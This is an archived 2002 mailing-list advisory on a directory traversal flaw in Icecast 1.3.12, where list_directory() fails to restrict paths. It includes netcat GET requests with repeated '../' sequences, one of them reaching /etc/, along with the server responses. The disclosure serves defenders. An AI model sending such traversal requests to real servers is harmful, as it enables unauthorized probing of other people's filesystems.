list_directory() makes no effort to constrain the request to the static directory. Icecast allows for remote probing of the underlying filesystem structure. (on a side note, this can also be used to list files with a .mp3 extension anywhere on the system. send_file() does do traversal checking.) % nc icecast.host 8000 GET /file/../../../../../../../../nonexistent/ HTTP/1.0 HTTP/1.0 404 Not Found Server: icecast/1.3.12 Connection: close Content-Type: text/html ... % nc icecast.host 8000 GET /file/../../../../../../../../etc/ HTTP/1.0 HTTP/1.0 200 OK Server: icecast/1.3.12 Connection: close Content-Type: text/html ...
This archive was generated by hypermail 2b30 : Tue Jul 09 2002 - 12:10:52 PDT